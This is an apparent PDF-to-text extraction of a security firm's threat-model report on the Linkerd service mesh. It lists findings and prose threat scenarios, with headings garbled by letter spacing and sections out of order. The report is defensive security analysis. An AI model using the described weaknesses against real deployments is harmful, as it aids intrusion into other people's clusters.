rate-limiting mechanisms within the destination service, the proxy can \n now repeatedly request routing information or change its availability status to force \n updates in the controller. \n R e c om m e n d a t i on s \n Short term, add rate-limiting mechanisms to the destination service to prevent a single pod \n from requesting too much routing information or performing state updates too quickly. \n Long term, ensure that appropriate rate-limiting mechanisms exist throughout the \n infrastructure to prevent denial-of-service attacks. Where possible, implement stricter \n access controls to ensure that components cannot interact with APIs more than necessary. \n Additionally, ensure that the system sufficiently logs events so that an audit trail is available \n in the event of an attack. \n T r a i l o f B i t s 34 Linkerd Threat Model \n C O N F I D E N T I A L \n 3 . CL I t ool a l l o w s t h e u s e o f i n s e c u r e p r o t o c o l s w h e n e x t e r n a l l y s o u r c i n g \n i n f r a s t r u c t u r e d e fi n i t i on s \n Severity: Medium Difficulty: Low \n Type: Awareness and Training Finding ID: TOB-LKDTM-3 \n Target: CLI tool \n D e s c r i p t i on \n When using the command-line interface (CLI) tool, an operator may source infrastructural \n YAML definitions from a URI path specifying any protocol, such as http:// or https:// . \n Therefore, a user could expose sensitive information when using an insecure protocol such \n as HTTP. Furthermore, the Linkerd documentation does not warn users about the system’s \n use of insecure protocols. \n T h r e a t S c e n a r i o \n An infrastructure operator integrates Linkerd into her infrastructure. When doing so, she \n uses the CLI tool to fetch YAML definitions over HTTP. Unbeknownst to her, the use of HTTP \n has made her data visible to attackers on the local network. Her data is also prone to \n man-in-the-middle attacks. \n R e c om m e n d a t i on s \n Short term, disallow the use of insecure protocols within the CLI tool when sourcing \n external data. Alternatively, provide documentation and best practices regarding the use of \n insecure protocols when externally sourcing data within the CLI tool. \n T r a i l o f B i t s 35 Linkerd Threat Model \n C O N F I D E N T I A L \n 4 . E x p os u r e o f a d m i n e n d p oi n t m a y a \u0000 e c t a p p l i c a t i o n a v a i l a b i l i t y \n Severity: Medium Difficulty: Medium \n Type: Awareness and Training Finding ID: TOB-LKDTM-4 \n Target: linkerd-proxy \n D e s c r i p t i on \n User application sidecar proxies expose an admin endpoint that can be used for tasks such \n as shutting down the proxy server and collecting metrics. This endpoint is exposed to other \n components within the same pod. Therefore, an internal attacker could shut down the \n proxy, affecting the user application’s availability. \n Furthermore, the admin endpoint lacks access controls, and the documentation does not \n warn of the risks of exposing the admin endpoint over the internet. \n T h r e a t S c e n a r i o \n An infrastructure operator integrates Linkerd into their Kubernetes cluster. After a new \n user application is deployed, an underlying component within the same pod is \n compromised. An attacker with access to the compromised component can now laterally \n send a request to the admin endpoint used to shut down the proxy server, resulting in a \n denial of service of the user application. \n R e c om m e n d a t i on s \n Short term, employ authentication and authorization mechanisms behind the admin \n endpoint for proxy servers. \n Long term, document the risks of exposing critical components throughout Linkerd. For \n instance, it is important to note that exposing the admin endpoint on a user application \n proxy server may result in the exposure of a shutdown method, which could be leveraged \n in a denial-of-service attack. \n T r a i l o f B i t s 36 Linkerd Threat Model \n C O N F I D E N T I A L \n 5 . G o ’ s p p r o f e n d p oi n t s e n a b l e d b y d e f a u l t i n a l l a d m i n s e r v e r s \n Severity: Informational Difficulty: High \n Type: Audit and Accountability Finding ID: TOB-LKDTM-5 \n Target: HTTP admin servers \n D e s c r i p t i on \n All core components of the Linkerd infrastructure, in both the data and control planes, \n have an admin server with Go’s server runtime profiler ( pprof ) endpoints on \n /debug/pprof enabled by default. These servers are not exposed to the rest of the cluster \n or to the local network by default. \n T h r e a t S c e n a r i o \n An attacker scans the network in which a Linkerd cluster is configured and discovers that \n an operator forwarded the admin server port to the local network, exposing the pprof \n endpoints to the local network. He connects a profiler to it and gains access to debug \n information, which assists him in mounting further attacks. \n R e c om m e n d a t i on s \n Short term, add a check to http.go that enables pprof endpoints only when Linkerd runs \n in debug or test mode. \n Long term, audit all debug-related functionality to ensure it is not exposed when Linkerd is \n running in production mode. \n R e f e r e n c e s \n ● Your pprof is showing: IPv4 scans reveal exposed net/http/pprof endpoints \n T r a i l o f B i t s 37 Linkerd Threat Model \n C O N F I D E N T I A L \n 6 . L a c k o f a c c e s s c on t r ol s on t h e l i n k e r d - v i z d a s h b o a r d \n Severity: Low Difficulty: High \n Type: Access Controls Finding ID: TOB-LKDTM-6 \n Target: linkerd-viz extensions \n D e s c r i p t i on \n Linkerd operators can enable a set of metrics-focused features by adding the \n linkerd-viz extension. Doing so enables a web UI dashboard that lists detailed \n information about the namespaces, services, pods, containers, and other resources in a \n Kubernetes cluster in which Linkerd is configured. Operators can enable Kubernetes \n role-based access controls to the dashboard; however, no access control options are \n provided by Linkerd. \n T h r e a t S c e n a r i o \n An attacker scans the network in which a Linkerd cluster is configured and discovers an \n exposed UI dashboard. By accessing the dashboard, she gains valuable insight into the \n cluster. She uses the knowledge gained from exploring the dashboard to formulate attacks \n that would expand her access to the network. \n R e c om m e n d a t i on s \n Short term, document recommendations for restructuring access to the linkerd-viz \n dashboard. \n Long term, add authentication and authorization controls for accessing the dashboard. This \n could be done by implementing tokens created via the CLI or client-side authorization logic. \n T r a i l o f B i t s 38 Linkerd Threat Model \n C O N F I D E N T I A L \n 7 . P r om e t h e u s e n d p oi n t s r e a c h a b l e f r o m t h e u s e r a p p l i c a t i o n n a m e s p a c e \n Severity: Low Difficulty: High \n Type: Access Controls Finding ID: TOB-LKDTM-7 \n Target: linkerd-viz extensions \n D e s c r i p t i on \n The linkerd-viz extension provides a Prometheus API that collects metrics data from the \n various proxies and controllers used by the control and data planes. Metrics can include \n various labels with IP addresses, pod IDs, and port numbers. \n T h r e a t S c e n a r i o \n An attacker gains access to a user application pod and calls the API directly to read \n Prometheus metrics. He uses the API to gain information about the cluster that aids him in \n expanding his access across the Kubernetes infrastructure. \n R e c om m e n d a t i on s \n Short term, disallow access to the Prometheus extension from the user application \n namespace. This could be done in the same manner in which access to the web dashboard \n is restricted from within the cluster (e.g., by allowing access only for specific hosts). \n T r a i l o f B i t s 39 Linkerd Threat Model \n C O N F I D E N T I A L \n 8 . L a c k o f e g r e s s a c c e s s c on t r ol s \n Severity: Low Difficulty: High \n Type: Access Controls Finding ID: TOB-LKDTM-8 \n Target: Destination service, linkerd-proxy \n D e s c r i p t i on \n Linkerd provides access control mechanisms for ingress traffic but not for egress traffic. \n Egress controls would allow an operator to impose important restrictions, such as which \n external services and endpoints that a meshed application running in the application \n namespace can communicate with. \n T h r e a t S c e n a r i o \n A user application becomes compromised. As a result, the application code begins making \n outbound requests to malicious endpoints. The lack of access controls on egress traffic \n prevents infrastructure operators from mitigating the situation (e.g., by allowing the \n application to communicate with only a set of allowlisted external services). \n R e c om m e n d a t i on s \n Short term, add support for enforcing egress network policies. A GitHub issue to \n implement this recommendation already exists in the Linkerd repository. \n T r a i l o f B i t s 40 Linkerd Threat Model \n C O N F I D E N T I A L \n 9 . P r om e t h e u s e n d p oi n t s a r e u n e n c r y p t e d a n d u n a u t h e n t i c a t e d b y d e f a u l t \n Severity: Low Difficulty: High \n Type: Access Controls Finding ID: TOB-LKDTM-9 \n Target: linkerd-viz extensions \n D e s c r i p t i on \n The linkerd-viz extension provides a Prometheus API that collects metrics data from the \n various proxies and controllers used by the control and data planes. However, this \n endpoint is unencrypted and unauthenticated, lacking access and confidentiality controls \n entirely. \n T h r e a t S c e n a r i o \n An attacker gains access to a sibling component within the same namespace in which the \n Prometheus endpoint exists. Due to the lack of access controls, the attacker can now \n laterally obtain Prometheus metrics with ease. Additionally, due to the lack of \n confidentiality controls, such as those implemented through the use of cryptography, \n connections are exposed to other parties. \n R e c om m e n d a t i on s \n Short term, consider implementing access controls within Prometheus and Kubernetes to \n disallow access to the Prometheus metrics endpoint from any machine within the cluster \n that is irrelevant to Prometheus logging. Additionally, implement secure encryption of \n connections with the use of TLS within Prometheus or leverage existing Linkerd mTLS \n schemes. \n T r a i l o f B i t s 41 Linkerd Threat Model \n C O N F I D E N T I A L \n 1 0 . S h a r e d i d e n t i t y a n d d e s t i n a t i on s e r v i c e s i n a c l u s t e r p o s e s r i s k s t o \n m u l t i - a p p l i c a t i on c l u s t e r s \n Severity: Medium Difficulty: High \n Type: System and Communications \n Protection Finding ID: TOB-LKDTM-10 \n Target: Destination and identity services \n D e s c r i p t i on \n The identity and destination controllers are meant to convey certificate and routing \n information for proxies, respectively. However, only one identity controller and one \n destination controller are deployed in a cluster, so they are shared among all application \n pods within a cluster. As a result, a single application pod could pollute records, causing \n denial-of-service attacks or otherwise compromising these cluster-wide components. \n Additionally, a compromise of these cluster-wide components may result in the exposure \n of routing information for each application pod. \n Although the Kubernetes API server is exposed with the same architecture, it may be \n beneficial to minimize the attack surface area and the data that can be exfiltrated from \n compromised Linkerd components. \n T h r e a t S c e n a r i o \n An attacker gains access to a single user application pod and begins to launch attacks \n against the identity and destination services. As a result, these services cannot serve other \n user application pods. The attacker later finds a way to compromise one of these two \n services, allowing her to leak sensitive application traffic from other user application pods. \n R e c om m e n d a t i on s \n Short term, implement per-pod identity and destination services that are isolated from \n other pods. If this is not viable, consider documenting this caveat so that users are aware \n of the risks of hosting multiple applications within a single cluster. \n T r a i l o f B i t s 42 Linkerd Threat Model \n C O N F I D E N T I A L \n 1 1 . L a c k o f i s ol a t i on b e t w e e n c om p o n e n t s a n d t h e i r s i d e c a r p r o x i e s \n Severity: Low Difficulty: High \n Type: System and Communications \n Protection Finding ID: TOB-LKDTM-11 \n Target: linkerd-proxy \n D e s c r i p t i on \n Within the Linkerd, linkerd-viz , and user application namespaces, each core component \n lives alongside a linkerd-proxy container, which proxies the component’s traffic and \n provides mTLS for internal connections. However, because the sidecar proxies are not \n isolated from their corresponding components, the compromise of a component would \n mean the compromise of its proxy, and vice versa. \n This is particularly interesting when considering the lack of access controls for some \n components, as detailed in TOB-LKDTM-4 : proxy admin endpoints are exposed to the \n applications they are proxying, allowing metrics collection and shutdown requests to be \n made. \n T h r e a t S c e n a r i o \n An attacker exploits a vulnerability to gain access to a linkerd-proxy instance. As a \n result, the attacker is able to compromise the confidentiality, integrity, and availability of \n lateral components, such as user applications, identity and destination services within the \n Linkerd namespace, and extensions within the linkerd-proxy namespace. \n R e c om m e n d a t i on s \n Short term, document system caveats and sensitivities so that operators are aware of them \n and can better defend themselves against attacks. Consider employing health checks that \n verify the integrity of proxies and other components to ensure that they have not been \n compromised. \n Long term, investigate ways to isolate sidecar proxies from the components they are \n proxying (e.g., by setting stricter access controls or leveraging isolated namespaces \n between proxied components and their sidecars). \n T r a i l o f B i t s 43 Linkerd Threat Model \n C O N F I D E N T I A L \n 1 2 . L a c k o f c e n t r a l i z e d s e c u r i t y b e s t p r a c t i c e s d o c u m e n t a t i o n \n Severity: Informational Difficulty: Informational \n Type: Awareness and Training Finding ID: TOB-LKDTM-12 \n Target: Linkerd \n D e s c r i p t i on \n While security recommendations are included throughout Linkerd’s technical guidance \n documents , there is no centralized guidance on security best practices. Furthermore, the \n documentation on securing clusters lacks guidance on security best practices such as \n configuring timeouts and retries, authorization policy recommendations for defense in \n depth, and locking down access to linkerd-viz components. \n T h r e a t S c e n a r i o \n A user is unaware of security best practices and configures Linkerd in an insecure manner. \n As a result, her Linkerd infrastructure is prone to attacks that could compromise the \n confidentiality, integrity, and availability of data handled by the cluster. \n R e c om m e n d a t i on s \n Short term, develop centralized documentation on security recommendations with a focus \n on security-in-depth practices for users to follow. This guidance should be easy to locate \n should any user wish to follow security best practices when using Linkerd. \n T r a i l o f B i t s 44 Linkerd Threat Model \n C O N F I D E N T I A L \n 1 3 . U n c l e a r d i s t i n c t i on b e t w e e n L i n k e r d a n d L i n k e r d 2 i n o \u0000 c i a l L i n k e r d b l o g \n p os t g u i d a n c e \n Severity: Informational Difficulty: Informational \n Type: Awareness and Training Finding ID: TOB-LKDTM-13 \n Target: Linkerd \n D e s c r i p t i on \n The official Linkerd documentation clearly indicates the version of Linkerd that each \n document pertains to. For instance, documentation specific to Linkerd 1.x displays a \n message stating, “This is not the latest version of Linkerd!” However, guidance documented \n in blog post form on the same site does not provide such information. For instance, the \n first result of a Google search for “Linkerd RBAC” is a Linkerd blog post with guidance that is \n applicable only to linkerd 1.x, but there is no indication of this fact on the page. As a result, \n users who rely on these blog posts may misunderstand functionality in Linkerd versions 2.x \n and above. \n T h r e a t S c e n a r i o \n A user searches for guidance on implementing various Linkerd features and finds \n documentation in blog posts that applies only to Linkerd version 1.x. As a result, he \n misunderstands Linkerd and its threat model, and he makes configuration mistakes that \n lead to security issues. \n R e c om m e n d a t i on s \n Short term, on Linkerd blog post pages, add indicators similar to the UI elements used in \n the Linkerd documentation to clearly indicate which version each guidance page applies to. \n T r a i l o f B i t s 45 Linkerd Threat Model \n C O N F I D E N T I A L \n 1 4 . I n s u \u0000 c i e n t l og g i n g o f ou t b ou n d H T T P S c a l l s \n Severity: Low Difficulty: High \n Type: Audit and Accountability Finding ID: TOB-LKDTM-14 \n Target: linkerd-viz \n D e s c r i p t i on \n Linkerd operators can use the linkerd-viz extensions such as Prometheus and Grafana \n to collect metrics for the various proxies in a Linkerd infrastructure. However, these \n extensions do not collect metrics on outbound calls made by meshed applications. This \n limits the data that operators could use to conduct incident response procedures if \n compromised applications reach out to malicious external services and servers. \n T h r e a t S c e n a r i o \n A meshed application running in the data plane is compromised as a result of a supply \n chain attack. Because outbound HTTPS calls are not logged, Linkerd operators are unable \n to collect sufficient data to determine the impact of the vulnerability. \n R e c om m e n d a t i on s \n Short term, implement logging for outbound HTTPS connections. A GitHub issue to \n implement this recommendation already exists in the Linkerd repository but is still \n unresolved as of this writing. \n T r a i l o f B i t s 46 Linkerd Threat Model \n C O N F I D E N T I A L \n A . M e t h o d o l o g y \n A Trail of Bits threat modeling assessment is intended to provide a detailed analysis of the \n risks that an application faces at the structural and operational level; the goal is to assess \n the security of the application’s design rather than its implementation details. During these \n assessments, engineers rely heavily on frequent meetings with the client’s developers and \n on extensive reading of all documentation provided by the client. Code review and dynamic \n testing are not part of the threat modeling process, although engineers may occasionally \n consult the codebase or a live instance of the project to verify assumptions about the \n system’s design. \n Engineers begin a threat modeling assessment by identifying the safeguards and \n guarantees that are critical to maintaining the target system’s confidentiality, integrity, and \n availability. These security controls dictate the assessment’s overarching scope and are \n determined by the requirements of the target system, which may relate to technical and \n reputational concerns, legal liability, and regulatory compliance. \n With these security controls in mind, engineers then divide the system into logical \n components —discrete elem ents that perform specific tasks—and establish trust zones \n around groups of components that lie within a common trust boundary. They identify the \n types of data handled by the system, enumerating the points at which data is sent, \n received, or stored by each component, as well as within and across trust boundaries. \n After establishing a detailed map of the target system’s structure and data flows, engineers \n then identify threat actors —anyone who might threaten the target’s security, including both \n malicious external actors and naive internal actors. Based on each threat actor’s initial \n privileges and knowledge, engineers then trace threat actor paths through the system, \n determining the controls and data that a threat actor might be able to improperly access, \n as well as the safeguards that prevent such access. Any viable attack path discovered \n during this process constitutes a finding , which is paired with design recommendations to \n remediate gaps in the system’s defenses. \n Finally, engineers rate the strength of each security control, indicating the general \n robustness of that type of defense against the full spectrum of possible attacks. These \n ratings are provided in the Security Control Maturity Evaluation table. \n T r a i l o f B i t s 47 Linkerd Threat Model \n C O N F I D E N T I A L \n B . S e c u r i t y Co n t r o l s a n d R a t i n g C r i t e r i a \n The following tables describe the security controls and rating criteria used in this report. \n Security Controls \n Category Description \n Access Controls Controls related to authorization, session management, separation of \n duties, etc. \n Audit and \n Accountability Controls related to logging, non-repudiation, monitoring, analysis, \n reporting, etc. \n Awareness and \n Training Controls related to policies, procedures, and related capabilities \n Denial of Service Controls to defend against denial-of-service attacks impacting availability \n Identification and \n Authentication User and system identification and authentication controls \n System and \n Communications \n Protection Network-level controls to protect data \n Rating Criteria \n Rating Description \n Strong No concerns related to the security control were found. \n Satisfactory Only minor issues related to the security control were found; though the \n control may lack certain non-critical operational procedures or security \n measures, their absence does not expose users to a significant degree of \n risk. Remediation in this area is suggested but not urgent. \n Moderate Several issues that may expose users to some degree of risk were found. \n Remediation in this area is recommended. \n Weak Significant issues that are likely to expose users to a substantial degree of \n risk were found. Remediation in this area should be prioritized. \n Missing The security control was found to be nonexistent or totally ineffective for \n its intended purpose, despite being necessary for the system’s security. \n The implementation of this control should be prioritized. \n T r a i l o f B i t s 48 Linkerd Threat Model \n C O N F I D E N T I A L \n Not Applicable The security control is not applicable to this review. \n Not Considered The security control was not considered in this review. \n Further \n Investigation \n Required Further investigation is required to reach a meaningful conclusion. \n Severity Levels \n Severity Description \n Inform ational The issue does not pose an immediate risk but is relevant to security best \n practices. \n Undetermined The extent of the risk was not determined during this engagement. \n Low The risk is small or is not one the client has indicated is important. \n Medium User information is at risk; exploitation could pose reputational, legal, or \n moderate financial risks. \n High The flaw could affect numerous users and have serious reputational, legal, \n or financial implications. \n Difficulty Levels \n Difficulty Description \n Undetermined The difficulty of exploitation was not determined during this engagement. \n Low The threat is well known or common; an attacker can exploit it without \n significant effort or specialized knowledge. \n Medium An attacker must acquire in-depth knowledge of the system or expend a \n non-trivial amount of effort in order to exploit this issue. \n High An attacker must acquire complex insider knowledge or privileged access to \n the system in order to exploit this issue. \n T r a i l o f B i t s 49 Linkerd Threat Model \n C O N F I D E N T I A L \n"}],"string":"[\n {\n \"data\": \" L i n k e r d \\n T h r e a t M o d e l \\n May 2, 2022 \\n Prepared for: \\n Oliver Gould \\n Buoyant, Inc \\n Prepared by: \\n Alex Useche and David Pokora \\n A b o u t T r a i l o f B i t s \\n Founded in 2012 and headquartered in New York, Trail of Bits provides technical security \\n assessment and advisory services to some of the world’s most targeted organizations. We \\n combine high- end security research with a real -world attacker mentality to reduce risk and \\n fortify code. With 80+ employees around the globe, we’ve helped secure critical software \\n elem ents that support billions of end users, including Kubernetes and the Linux kernel. \\n We maintain an exhaustive list of publications at https://github.com/trailofbits/publications , \\n with links to papers, presentations, public audit reports, and podcast appearances. \\n In recent years, Trail of Bits consultants have showcased cutting-edge research through \\n presentations at CanSecWest, HCSS, Devcon, Empire Hacking, GrrCon, LangSec, NorthSec, \\n the O’Reilly Security Conference, PyCon, REcon, Security BSides, and SummerCon. \\n We specialize in software testing and code review projects, supporting client organizations \\n in the technology, defense, and finance industries, as well as government entities. Notable \\n clients include HashiCorp, Google, Microsoft, Western Digital, and Zoom. \\n Trail of Bits also operates a center of excellence with regard to blockchain security. Notable \\n projects include audits of Algorand, Bitcoin SV, Chainlink, Compound, Ethereum 2.0, \\n MakerDAO, Matic, Uniswap, Web3, and Zcash. \\n To keep up to date with our latest news and announcements, please follow @trailofbits on \\n Twitter and explore our public repositories at https://github.com/trailofbits . To engage us \\n directly, visit our “Contact” page at https://www.trailofbits.com/contact , or email us at \\n info@trailofbits.com . \\n Trail of Bits, Inc. \\n 228 Park Ave S #80688 \\n New York, NY 10003 \\n https://www.trailofbits.com \\n info@trailofbits.com \\n T r a i l o f B i t s 1 Linkerd Threat Model \\n C O N F I D E N T I A L \\n N o t i c e s a n d R e m a r k s \\n C o p y r i g h t a n d D i s t r i b u t i o n \\n © 2022 by Trail of Bits, Inc. \\n All rights reserved. Trail of Bits hereby asserts its right to be identified as the creator of this \\n report in the United Kingdom. \\n This report is considered by Trail of Bits to be business confidential information; it is \\n licensed to the Linux Foundation under the terms of the project statement of work and \\n intended solely for internal use by the Linux Foundation. Material within this report may \\n not be reproduced or distributed in part or in whole without the express written \\n permission of Trail of Bits. \\n T es t C o v er a g e D i s c l a i m er \\n All activities undertaken by Trail of Bits in association with this project were performed in \\n accordance with a statement of work and mutually agreed upon project plan. \\n Security assessment projects are time-boxed and often reliant on information that may be \\n provided by a client, its affiliates, or its partners. As a result, the findings documented in \\n this report should not be considered a comprehensive list of security issues, flaws, or \\n defects in the target system or codebase. \\n T r a i l o f B i t s 2 Linkerd Threat Model \\n C O N F I D E N T I A L \\n T a b l e o f Co n t e n t s \\n About Trail of Bits 1 \\n Notices and Remarks 2 \\n Table of Contents 2 \\n Executive Summary 5 \\n Project Summary 6 \\n Project Coverage 7 \\n Security Control Maturity Evaluation 8 \\n System Diagrams 10 \\n Components 11 \\n Trust Zones 13 \\n Trust Zone Connections 14 \\n Threat Actors 21 \\n Threat Actor Paths 22 \\n Summary of Findings 31 \\n Detailed Findings 33 \\n 1. Lack of rate-limiting mechanisms in the identity service 33 \\n 2. Lack of rate-limiting mechanisms in the destination service 34 \\n 3. CLI tool allows the use of insecure protocols when externally sourcing \\n infrastructure definitions 35 \\n 4. Exposure of admin endpoint may affect application availability 36 \\n 5. Go’s pprof endpoints enabled by default in all admin servers 37 \\n 6. Lack of access controls on the linkerd-viz dashboard 38 \\n 7. Prometheus endpoints reachable from the user application namespace 39 \\n T r a i l o f B i t s 3 Linkerd Threat Model \\n C O N F I D E N T I A L \\n 8. Lack of egress access controls 40 \\n 9. Prometheus endpoints are unencrypted and unauthenticated by default 41 \\n 10. Shared identity and destination services in a cluster poses risks to \\n multi-application clusters 42 \\n 11. Lack of isolation between components and their sidecar proxies 43 \\n 12. Lack of centralized security best practices documentation 44 \\n 13. Unclear distinction between Linkerd and Linkerd2 in official Linkerd blog post \\n guidance 45 \\n 14. Insufficient logging of outbound HTTPS calls 46 \\n A. Methodology 47 \\n B. Security Controls and Rating Criteria 48 \\n T r a i l o f B i t s 4 Linkerd Threat Model \\n C O N F I D E N T I A L \\n E x e c u t i v e S u m m a r y \\n E n g a g em en t O v er v i e w \\n The Linux Foundation engaged Trail of Bits to create a component-focused threat model of \\n its Linkerd project. From February 7 to February 11, 2022, a team of two consultants \\n scheduled four meetings over two person-weeks of effort to evaluate relevant components \\n and the architectural design of the project. Details of the project’s timeline, test targets, and \\n coverage are provided in subsequent sections of this report. \\n P r o j ec t S c o p e \\n Our assessment focused on the identification of security control flaws that could result in a \\n compromise of confidentiality, integrity, or availability of the target system, especially with \\n respect to the controls noted in the category breakdown table below. An exhaustive list of \\n security control types and their definitions can be found in appendix B . \\n S u m m a r y o f F i n d i n g s \\n While preparing the threat model, we uncovered some flaws that could impact system \\n confidentiality, integrity, availability. A summary of findings is provided below. \\n F I N D I N G S B Y S E V E R I T Y \\n Severity Count \\n Medium 3 \\n Low 8 \\n Inform ational 3 F I N D I N G S B Y CO N T R O L T Y P E \\n Category Count \\n Access Control 4 \\n Audit and Accountability 2 \\n Awareness and Training 4 \\n Denial of Service 2 \\n System and \\n Communications Protection 2 \\n T r a i l o f B i t s 5 Linkerd Threat Model \\n C O N F I D E N T I A L \\n P r o j e c t S u m m a r y \\n C o n t a c t I n f o r m a t i o n \\n The following managers were associated with this project: \\n Dan Guido , Account Manager Cara Pearson , Project Manager \\n dan@trailofbits.com cara.pearson@trailofbits.com \\n The following engineers were associated with this project: \\n Alex Useche , Consultant David Pokora , Consultant \\n alex.useche@trailofbits.com david.pokora@trailofbits.com \\n P r o j ec t T i m el i n e \\n The significant events and milestones of the project are listed below. \\n Date Event \\n January 27, 2022 Pre-project kickoff call \\n February 8, 2022 Discovery meeting #1 \\n February 9, 2022 Discovery meeting #2 \\n February 10, 2022 Discovery meeting #3 \\n February 11, 2022 Discovery meeting #4 \\n February 18, 2022 Delivery of report draft and report readout meeting \\n May 2, 2022 Delivery of revised report \\n T r a i l o f B i t s 6 Linkerd Threat Model \\n C O N F I D E N T I A L \\n P r o j e c t Co v e r a g e \\n During a threat modeling assessment, engineers generally aim to cover the entire target \\n system as a coherent whole. In some cases, however, certain components may be either \\n unnecessary to examine or impossible to review thoroughly. \\n E x c l u s i o n s \\n The following components were explicitly excluded from the assessment scope: \\n ● Multi-cluster configurations. Multi-cluster configurations require cluster operators \\n to perform a series of tasks to enable a service mesh across multiple Kubernetes \\n clusters. This setup adds a number of variables that significantly increase the \\n complexity of the threat model. As a result, and due to time constraints, \\n multi-cluster configurations were considered out of scope for this assessment. \\n ● Other extensions. Other extensions outside of the linkerd-viz namespace, such \\n as Jaeger and those used for tracing, were not considered as part of the threat \\n model. \\n L i m i t a t i o n s \\n Because of the time-boxed nature of testing work, it is common to encounter coverage \\n limitations. During this project, we were unable to perform comprehensive review of the \\n following components, which may warrant further review: \\n ● linkerd-viz extensions. Operators can enable a number of extensions used for \\n metrics and diagnostics, including Prometheus metrics, TAP diagnostics, Grafana \\n dashboards, and a web UI. The extensions are deployed as individual pods in the \\n linkerd-viz namespace. Due to time constraints, we could not model the \\n extensions individually; instead, we grouped them under a single abstract \\n component called “ linkerd-viz extensions,” for which we achieved only partial \\n coverage. \\n T r a i l o f B i t s 7 Linkerd Threat Model \\n C O N F I D E N T I A L \\n S e c u r i t y Co n t r o l M a t u r i t y E v a l u a t i o n \\n Trail of Bits uses a traffic-light protocol to provide each client with a clear understanding of \\n the areas in which its security controls are mature, immature, or underdeveloped. See \\n appendix B for a detailed description of each category. \\n Category Summary Result \\n Access Controls Linkerd relies on mTLS provided by sidecar proxies for \\n most authorization controls between components. \\n Outside of mTLS, cluster operators rely on fine-grained \\n Kubernetes role-based access controls to restrict access to \\n some components, such as linkerd-viz dashboards and \\n Prometheus metrics. \\n Although most access controls are appropriate for the \\n current architectural design, we believe that isolating \\n components more granularly and implementing access \\n controls for some APIs, such as proxy admin and metrics \\n endpoints, may result in a stronger security posture. Moderate \\n Audit and \\n Accountability Every component enables at least INFO level logging to \\n STDOUT . Operators can enable other extensions to obtain \\n metrics and diagnostics data for Linkerd components (e.g., \\n linkerd-viz and Jaeger extensions). Satisfactory \\n Awareness and \\n Training Linkerd provides general guidance on securing a \\n Kubernetes cluster and technical guidance on performing \\n various tasks throughout the Linkerd documentation. \\n Buoyant also provides general guidance on Linkerd \\n security. However, there is no centralized and \\n comprehensive security documentation that enumerates \\n common misconfigurations and system caveats. Moderate \\n Denial of Service A number of basic controls that aid in mitigating \\n denial-of-service conditions, such as timeouts and retries, \\n are in place. However, there is no support for rate-limiting \\n controls. Moderate \\n Identification \\n and \\n Authorization Components that are part of the Linkerd infrastructure \\n must obtain a certificate from the identity controller in \\n order to communicate and authenticate via mTLS through Satisfactory \\n T r a i l o f B i t s 8 Linkerd Threat Model \\n C O N F I D E N T I A L \\n their sidecar proxies. \\n System and \\n Communication \\n s Protection Due to the use of mTLS and Kubernetes role-based access \\n controls, Linkerd’s system and communication protection \\n is satisfactory. However, as indicated under the “Access \\n Controls” category, we believe that isolating components \\n more granularly and implementing access controls and \\n encryption for some APIs, such as proxy admin and \\n metrics endpoints, may result in a stronger security \\n posture. \\n Regarding encryption, TLS communications are enforced \\n for pod-to-pod communications. However, plain HTTP \\n communications from external endpoints to the cluster \\n could occur if an operator uses port forwarding to forward \\n endpoints such as the dashboard to the network. Moderate \\n T r a i l o f B i t s 9 Linkerd Threat Model \\n C O N F I D E N T I A L \\n S y s t e m D i a g r a m s \\n The following diagram depicts the relationships between the target system’s various \\n components and trust zones, as well as the paths that threat actors could take within them. \\n Linkerd system diagram \\n T r a i l o f B i t s 10 Linkerd Threat Model \\n C O N F I D E N T I A L \\n Co m p o n e n t s \\n Linkerd is a lightweight service mesh for Kubernetes. Linkerd provides features to route \\n messages between complex infrastructural components with ease and to improve system \\n observability. Proxies in the form of containers are injected into user-application pods, \\n while init containers are used to route application traffic to the proxies. To communicate \\n securely between each other, these proxies look up relevant certificate information from \\n “identity” containers and routing information from “destination” containers. Linkerd also \\n offers load balancing functionality for outgoing traffic. \\n Component Description \\n Command-Line \\n Interface (CLI) \\n Tool The CLI is used to configure an existing Kubernetes deployment with \\n Linkerd. With the CLI, users can set up relevant service accounts, run \\n health checks on deployments, and annotate pods housing user \\n applications that should have Linkerd proxies installed. The CLI does not \\n deploy applications directly, but rather modifies an application’s YAML file, \\n which will be deployed with kubectl . \\n kubectl The kubectl command is used to deploy CLI-modified YAML definitions to \\n integrate Linkerd with an application. \\n proxy-injector The proxy-injector is a single Kubernetes controller per cluster used to \\n monitor pods for annotations indicating that Linkerd proxies should be \\n installed. When it discovers such annotations, the proxy-injector \\n configures the proxy-init and linkerd-proxy containers into the \\n relevant pod to begin routing traffic appropriately. \\n proxy-init The proxy-init is a Kubernetes init container used to configure IP tables \\n for a given application in a pod. This container starts and exits before the \\n application container runs to ensure traffic is routed to the \\n linkerd-proxy . Each component in the Linkerd control and data planes \\n also has its own proxy, each of which is deployed as a container in its \\n respective pod. \\n linkerd-proxy The linkerd-proxy is a Kubernetes container injected into an application \\n pod by the proxy-injector , accepts traffic routed from the application, \\n and queries the identity and destination containers to route traffic to the \\n intended destination, leveraging mTLS for communication when possible. \\n The linkerd-proxy is included in the initial Linkerd deployment for \\n components such as the proxy-injector and the destination and \\n identity services. Proxies also offer load balancing for each application \\n T r a i l o f B i t s 11 Linkerd Threat Model \\n C O N F I D E N T I A L \\n pod. \\n Identity Service The identity service is a single Kubernetes pod per cluster; it maintains \\n certificate information for components managed by Linkerd proxies. It acts \\n as a TLS certificate authority that accepts CSRs from proxies and returns \\n signed certificates. The identity service is issued at proxy initialization time \\n and is used for proxy-to-proxy connections to implement mTLS. \\n Destination \\n Service The destination service is a single Kubernetes pod per cluster that \\n maintains connection routing information for proxied traffic. \\n User Applications This component refers to user-deployed Kubernetes applications that can \\n be integrated with Linkerd. \\n linkerd-viz \\n Extensions The linkerd-viz Kubernetes namespace includes a number of \\n diagnostics and metrics extensions that can be added to a \\n Linkerd-integrated Kubernetes deployment, including the TAP injector, the \\n web UI, and Prometheus metrics. \\n External Services External services are those that do not live in the Kubernetes environment \\n but are reachable by application pods. For instance, an external service \\n could be a public server or a service hosted on a local machine/network. \\n T r a i l o f B i t s 12 Linkerd Threat Model \\n C O N F I D E N T I A L \\n T r u s t Z o n e s \\n Systems include logical “trust boundaries” or “zones” in which components may have \\n different criticality or sensitivity. Therefore, to further analyze a system, we decompose \\n components into zones based on shared criticality rather than physical placement in the \\n system. Trust zones capture logical boundaries in which controls should or could be \\n enforced by the system and that allow designers to implement interstitial controls and \\n policies between zones of components as needed. \\n Zone Description Included Components \\n External This zone comprises external \\n components that do not live in the \\n Kubernetes environment, such as \\n external websites and locally run \\n tools. ● 